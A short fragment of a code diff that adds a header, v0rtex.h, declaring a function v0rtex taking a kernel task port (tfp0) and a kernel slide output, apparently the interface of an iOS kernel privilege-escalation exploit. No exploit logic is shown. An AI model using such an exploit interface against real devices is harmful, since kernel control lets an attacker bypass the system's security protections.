+    return KERN_SUCCESS;
+}

v0rtex.h

@@ -0,0 +1,10 @@
+#ifndef V0RTEX_H
+#define V0RTEX_H
+
+#include <mach/mach.h>
+#include "common.h"
+
+//kern_return_t v0rtex(task_t *tfp0, kptr_t *kslide, kptr_t *kernucred, kptr_t *selfproc);
+kern_return_t v0rtex(task_t *tfp0, uint64_t *kslide);
+
+#endif